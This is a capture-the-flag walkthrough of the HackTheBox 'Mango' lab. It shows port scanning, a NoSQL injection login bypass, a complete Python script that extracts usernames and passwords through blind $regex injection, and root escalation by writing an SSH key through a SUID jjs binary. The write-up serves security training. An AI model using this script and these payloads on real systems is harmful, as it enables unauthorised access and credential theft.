I continue to publish solutions sent for further processing from the HackTheBox site .In this article, we exploit NoSQL injection in the form of authorization, and also increase privileges through JJS.Connection to the laboratory is via VPN. It is recommended not to connect from a work computer or from a host where the data important to you is available, since you end up on a private network with people who know something in the field of information security :)Organizational Information, ,
Telegram . , ,
.
. , - , .
Recon
This machine has an IP address 10.10.10.162, which I add to / etc / hosts.10.10.10.162 mango.htb
First, we scan open ports. Since it takes a long time to scan all the ports with nmap, I will first do this with masscan. We scan all TCP and UDP ports from the tun0 interface at a speed of 1000 packets per second.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162 --rate=1000
Now, for more detailed information about the services that operate on ports, we will run a scan with the -A option.nmap -A mango.htb -p22,80,443
First of all, let's go watch the site. When accessing mango.htb, they throw us from http to https and talk about a problem with the certificate. If you agree to the risks, you can see this page.
But nothing more interesting. The nmap scan displays ssl-cert information where the domain is specified. Add it to / etc / hosts.10.10.10.162 staging-order.mango.htb
And let's go see what is there.
There is an authorization form - a possible entry point.Entry point
We try several injection techniques to bypass authorization. And we find a standard NoSql injection by comparing the reaction to two conditions: login is 123, password is 123 and login is not 123, password is not 123.
And after the successful true result of the second condition, we get a redirect to home.php. Thus, NoSql injection is possible.
Since there is nothing interesting on the page, the only thing we can take from this vulnerability is logins and passwords.USER
Let's see the lengths of the maximum usernames and passwords. To do this, you can use the following constructs:login [$ regex] =. {Length} & password [$ ne] = 123 - for the login (a regular expression comparison for the login is performed and the password is invalid);login [$ ne] = 123; password [$ regex] =. {length} for the password.Let's do it with burp intruder.

Thus, the length of the longest login is 5 characters. Having done the same operations for the password, we find out that the length of the longest is 16 characters.
Since it is too long to sort it out with your hands, we will write a python script. First, we will make a session for work.import string
import requests
alfa = string.printable
URL = 'http://staging-order.mango.htb'
r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}
logins = []
Next, we implement a function for enumerating logins. Iteration will be performed using the following regular expression ^ name. * - this way we will stretch one character at a time.def logins_find(login):
is_find = False
for char in alfa[:62]:
data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
resp = r.post(URL, data=data)
print('login: %s ' % (login+char), end='\r')
if len(resp.history):
is_find = True
logins_find(login+char)
if not is_find:
print('login found: %s ' % (login))
logins.append(login)
And a similar function, only using the found login.def passwords_find(login, password):
is_find = False
for char in alfa:
if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
char = '\\' + char
data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
resp = r.post(URL, data=data)
print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
if len(resp.history):
is_find = True
passwords_find(login, password+char)
if not is_find:
print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
FULL CODE:
import string
import requests
alfa = string.printable[:-6]
URL = 'http://staging-order.mango.htb'
r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}
logins = []
def logins_find(login):
is_find = False
for char in alfa[:62]:
data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
resp = r.post(URL, data=data)
print('login: %s ' % (login+char), end='\r')
if len(resp.history):
is_find = True
logins_find(login+char)
if not is_find:
print('login found: %s ' % (login))
logins.append(login)
def passwords_find(login, password):
is_find = False
for char in alfa:
if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
char = '\\' + char
data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
resp = r.post(URL, data=data)
print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
if len(resp.history):
is_find = True
passwords_find(login, password+char)
if not is_find:
print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
print("SEARCH logins:")
logins_find("")
print("\nSEARCH passwords:")
[ passwords_find(login, "") for login in logins ]
And, as a result, we find the credentials of two users.
We successfully connect to the credentials via SSH.
We have a password from the second user, but it does not allow logging in via SSH. We are trying to locally change the user by entering the password we know.
ROOT
Let's carry out the basic enumeration using the LinEnum script .
And we find the program with the set S-bit.
Checking JJS for example GTFOBins .
There are also examples of operation. Call local shell did not work. But you can generate ssh keys, write public in /root/.ssh/authorized_keys and connect using private.
Let's count the public key.
And now write it down.
And now connect as root.
You can join us on Telegram. There you can find interesting materials, merged courses, as well as software. Let's put together a community in which there will be people who are versed in many areas of IT, then we can always help each other on any IT and information security issues.